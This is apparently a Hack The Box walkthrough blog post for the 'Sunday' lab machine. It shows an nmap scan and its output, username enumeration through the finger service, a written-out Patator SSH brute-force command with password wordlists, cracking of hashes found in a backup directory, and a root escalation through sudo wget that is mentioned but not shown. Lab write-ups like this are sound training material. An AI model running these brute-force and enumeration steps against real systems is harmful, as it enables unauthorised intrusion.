HTB Walkthrough - Sunday

Tony Harkness

- 3 minutes read - 558 words

Information Gathering

Scanned all TCP ports:

#nmap scan
nmap -sV -sC -v -p- -T4 -oN nmap/initial $IP --open

#nmap results
PORT      STATE SERVICE  VERSION
79/tcp    open  finger?
|_finger: No one logged on\x0D
| fingerprint-strings: 
|   GenericLines: 
|     No one logged on
|   GetRequest: 
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions: 
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
|   Help: 
|     Login Name TTY Idle When Where
|     HELP ???
|   RTSPRequest: 
|     Login Name TTY Idle When Where
|     OPTIONS ???
|     RTSP/1.0 ???
|   SSLSessionReq, TerminalServerCookie: 
|_    Login Name TTY Idle When Where
111/tcp   open  rpcbind  2-4 (RPC #100000)
515/tcp   open  printer
6787/tcp  open  ssl/http Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14)
|_http-server-header: Apache/2.4.33 (Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14
| tls-alpn: 
|_  http/1.1
| http-title: Solaris Dashboard
|_Requested resource was https://10.10.10.76:6787/solaris/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=sunday
| Subject Alternative Name: DNS:sunday
| Issuer: commonName=sunday/organizationName=Host Root CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-12-08T19:40:00
| Not valid after:  2031-12-06T19:40:00
| MD5:   6bd3:4b32:c05a:e5fe:a8c8:61f0:4361:414a
|_SHA-1: a5eb:c880:968c:84aa:10b2:a944:bad2:56ca:aed5:b66a
22022/tcp open  ssh      OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|_  256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)

Enumeration

TCP Port 79 - finger?

Downloaded a finger service enumerator from pentestmonkey

Ran the tool using a user wordlist of /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt and received the following results

root@10.10.10.76: root     Super-User            console      <Oct 14, 2022>..
sammy@10.10.10.76: sammy           ???            ssh          <Apr 13, 2022> 10.10.14.13         ..
sunny@10.10.10.76: sunny           ???            ssh          <Apr 13, 2022> 10.10.14.13         ..

Now, we have 3 valid users to target

These users have logged in via ssh so lets try bruteforcing SSH

TCP Port 22022 - SSH

Users have logged in by SSH via information found from finger-user-enum

Time to bruteforce and hope for some weak creds!

Exploitation

SSH Bruteforce Attack

Performed a bruteforce attack via Patator to login via SSH

patator ssh_login host=10.10.10.76 user=FILE0 password=FILE1 1=/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt 0=user.txt port=22022

Boom, creds gained

Initial access gained 😎

Privilege Escalation

Local enumeration

Sunny user was able to navigate to /home/sammy and retrieve the user flag

Found a backup directory which is not in Linux by default so I looked into it and found hashes

I took those hashes and ran hashcat in hopes to crack another user hash

I was able to crack sammy ’s hash

Lateral Escalation

I proceeded to switch to the sammy account to see if the user had more permissions that would allow us to achieve root

I quickly found that the sammy user could run wget as root .

Privilege Escalation

We will make short work of this thanks to GTFOBins. The steps taken to escalate privileges via wget are shown below.

Resolution summary

  • Enumerate the finger service to find valid users
  • Attempt a bruteforce attack via SSH
  • Navigate to /backup and extract the contents
  • Attempt to crack the hashes via Hashcat
  • Laterally Escalate privileges with new credentials
  • Escalate privileges to root thanks to wget sudo permissions

Improved skills

  • Learned two new tools: Patator and finger-user-enum
  • How to enumerate the finger service
  • How to bruteforce via SSH(and many other services) when Hydra fails

Used tools

  • nmap
  • finger-user-enum
  • hashcat
  • ssh
  • Patator

“It’s not that I’m so smart, it’s just that I stay with problems longer.” - Albert Einstein